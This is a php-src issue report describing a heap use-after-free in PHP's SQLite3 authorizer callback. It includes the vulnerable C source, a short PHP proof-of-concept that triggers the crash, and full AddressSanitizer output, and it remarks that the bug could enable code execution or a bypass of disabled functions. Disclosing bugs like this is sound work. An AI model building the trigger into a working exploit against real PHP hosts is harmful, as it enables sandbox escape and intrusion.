[php-src] Issue #22122: SQLite3 authorizer callback `$this` freed via `setAuthorizer` during execution

Issue: https://github.com/php/php-src/issues/22122 Author: therealcoiffeur ### Description ### Summary SQLite invokes an authorizer callback during query parsing. zend_call_known_fcc does not addref fcc->object. From inside the authorizer, $db->setAuthorizer(null) destroys the FCC, releases $this, and frees it, method body continues on freed memory. ### Vulnerable Source Code ```c // ext/sqlite3/sqlite3.c:2161-2197 -- authorizer dispatch if (!ZEND_FCC_INITIALIZED(db_obj->authorizer_fcc)) { return SQLITE_OK; } ... zend_call_known_fcc( &db_obj->authorizer_fcc, // fcc->object NOT addref'd &retval, 5, argv, NULL ); // ext/sqlite3/sqlite3.c:1284-1305 -- setAuthorizer replaces FCC PHP_METHOD(SQLite3, setAuthorizer) { ... if (ZEND_FCC_INITIALIZED(db_obj->authorizer_fcc)) { zend_fcc_dtor(&db_obj->authorizer_fcc); // <- OBJ_RELEASE($this) if refcount=1 } ... zend_fcc_dup(&db_obj->authorizer_fcc, &fcc); } ``` ### How to Trigger ```php <?php class Auth { public string $state = "alive"; public function authorize(int $action, ...$args): int { global $db; $db->setAuthorizer(null); echo $this->state; return SQLite3::OK; } } $db = new SQLite3(':memory:'); $auth = new Auth(); $db->setAuthorizer([$auth, 'authorize']); unset($auth); $db->exec('SELECT 1'); ``` <u>Command:</u> ```bash USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f2/poc.php ``` <u>Output:</u> ``` ================================================================= ==34929==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000024270 at pc 0x000105f1f928 bp 0x00016ba75990 sp 0x00016ba75988 READ of size 8 at 0x606000024270 thread T0 #0 0x000105f1f924 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER zend_vm_execute.h:85603 #1 0x000105b1a194 in execute_ex zend_vm_execute.h:110168 #2 0x000105afac08 in zend_call_function zend_execute_API.c:1016 #3 0x000105afcbfc in zend_call_known_function zend_execute_API.c:1114 #4 0x000104676c4c in zend_call_known_fcc zend_API.h:863 #5 0x00010465b474 in php_sqlite3_authorizer sqlite3.c:2200 #6 0x000194ca7a50 in sqlite3Select+0x1a0 (libsqlite3.dylib:arm64e+0x1fa50) #7 0x000194c94310 in yy_reduce+0x141c (libsqlite3.dylib:arm64e+0xc310) #8 0x000194c91e8c in sqlite3RunParser+0x318 (libsqlite3.dylib:arm64e+0x9e8c) #9 0x000194c91348 in sqlite3Prepare+0x248 (libsqlite3.dylib:arm64e+0x9348) #10 0x000194c90f74 in sqlite3LockAndPrepare+0xdc (libsqlite3.dylib:arm64e+0x8f74) #11 0x000194c90c74 in sqlite3_exec+0x6e0 (libsqlite3.dylib:arm64e+0x8c74) #12 0x00010465c0d0 in zim_SQLite3_exec sqlite3.c:221 #13 0x000105da2d34 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785 #14 0x000105b1a194 in execute_ex zend_vm_execute.h:110168 #15 0x000105b1ab28 in zend_execute zend_vm_execute.h:115586 #16 0x0001060ed350 in zend_execute_script zend.c:1971 #17 0x0001057464f4 in php_execute_script_ex main.c:2646 #18 0x000105746a64 in php_execute_script main.c:2686 #19 0x0001060f3b0c in do_cli php_cli.c:947 #20 0x0001060f20cc in main php_cli.c:1370 #21 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc) 0x606000024270 is located 16 bytes inside of 56-byte region [0x606000024260,0x606000024298) freed by thread T0 here: #0 0x000109338f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10) #1 0x0001059b523c in __zend_free zend_alloc.c:3571 #2 0x0001059b8f50 in _efree zend_alloc.c:2788 #3 0x00010606ce54 in zend_objects_store_del zend_objects_API.c:197 #4 0x000104678b48 in zend_object_release zend_objects_API.h:76 #5 0x000104664da8 in zend_fcc_dtor zend_API.h:807 #6 0x0001046649ac in zim_SQLite3_setAuthorizer sqlite3.c:1302 #7 0x000105da2d34 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785 #8 0x000105b1a194 in execute_ex zend_vm_execute.h:110168 #9 0x000105afac08 in zend_call_function zend_execute_API.c:1016 #10 0x000105afcbfc in zend_call_known_function zend_execute_API.c:1114 #11 0x000104676c4c in zend_call_known_fcc zend_API.h:863 #12 0x00010465b474 in php_sqlite3_authorizer sqlite3.c:2200 #13 0x000194ca7a50 in sqlite3Select+0x1a0 (libsqlite3.dylib:arm64e+0x1fa50) #14 0x000194c94310 in yy_reduce+0x141c (libsqlite3.dylib:arm64e+0xc310) #15 0x000194c91e8c in sqlite3RunParser+0x318 (libsqlite3.dylib:arm64e+0x9e8c) #16 0x000194c91348 in sqlite3Prepare+0x248 (libsqlite3.dylib:arm64e+0x9348) #17 0x000194c90f74 in sqlite3LockAndPrepare+0xdc (libsqlite3.dylib:arm64e+0x8f74) #18 0x000194c90c74 in sqlite3_exec+0x6e0 (libsqlite3.dylib:arm64e+0x8c74) #19 0x00010465c0d0 in zim_SQLite3_exec sqlite3.c:221 #20 0x000105da2d34 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785 #21 0x000105b1a194 in execute_ex zend_vm_execute.h:110168 #22 0x000105b1ab28 in zend_execute zend_vm_execute.h:115586 #23 0x0001060ed350 in zend_execute_script zend.c:1971 #24 0x0001057464f4 in php_execute_script_ex main.c:2646 #25 0x000105746a64 in php_execute_script main.c:2686 #26 0x0001060f3b0c in do_cli php_cli.c:947 #27 0x0001060f20cc in main php_cli.c:1370 #28 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc) previously allocated by thread T0 here: #0 0x000109338e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24) #1 0x0001059b9560 in __zend_malloc zend_alloc.c:3543 #2 0x0001059b8e24 in _emalloc zend_alloc.c:2778 #3 0x00010606f580 in zend_objects_new zend_objects.c:190 #4 0x0001059d2dbc in _object_and_properties_init zend_API.c:1819 #5 0x0001059d2fd4 in object_init_ex zend_API.c:1842 #6 0x000105db15e0 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63944 #7 0x000105b1a194 in execute_ex zend_vm_execute.h:110168 #8 0x000105b1ab28 in zend_execute zend_vm_execute.h:115586 #9 0x0001060ed350 in zend_execute_script zend.c:1971 #10 0x0001057464f4 in php_execute_script_ex main.c:2646 #11 0x000105746a64 in php_execute_script main.c:2686 #12 0x0001060f3b0c in do_cli php_cli.c:947 #13 0x0001060f20cc in main php_cli.c:1370 #14 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc) SUMMARY: AddressSanitizer: heap-use-after-free zend_vm_execute.h:85603 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER Shadow bytes around the buggy address: 0x606000023f80: 00 00 00 01 fa fa fa fa 00 00 00 00 00 00 00 04 0x606000024000: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa 0x606000024080: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 0x606000024100: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 0x606000024180: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa =>0x606000024200: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd[fd]fd 0x606000024280: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa 0x606000024300: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa 0x606000024380: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd 0x606000024400: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 fa 0x606000024480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==34929==ABORTING [1] 34929 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f2/poc.php ``` > Note: Even though this could be used to execute arbitrary code or bypass disabled functions, > GHSA-qq39-prv6-mxg7 is not part of PHP's threat model (which is wrong, but that's not my > call). > "This is a bug, but not a security issue. Please report as a regular issue." ### PHP Version ```plain PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG) Copyright © The PHP Group and Contributors Zend Engine v4.6.0-dev, Copyright © Zend by Perforce with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce ``` ### Operating System _No response_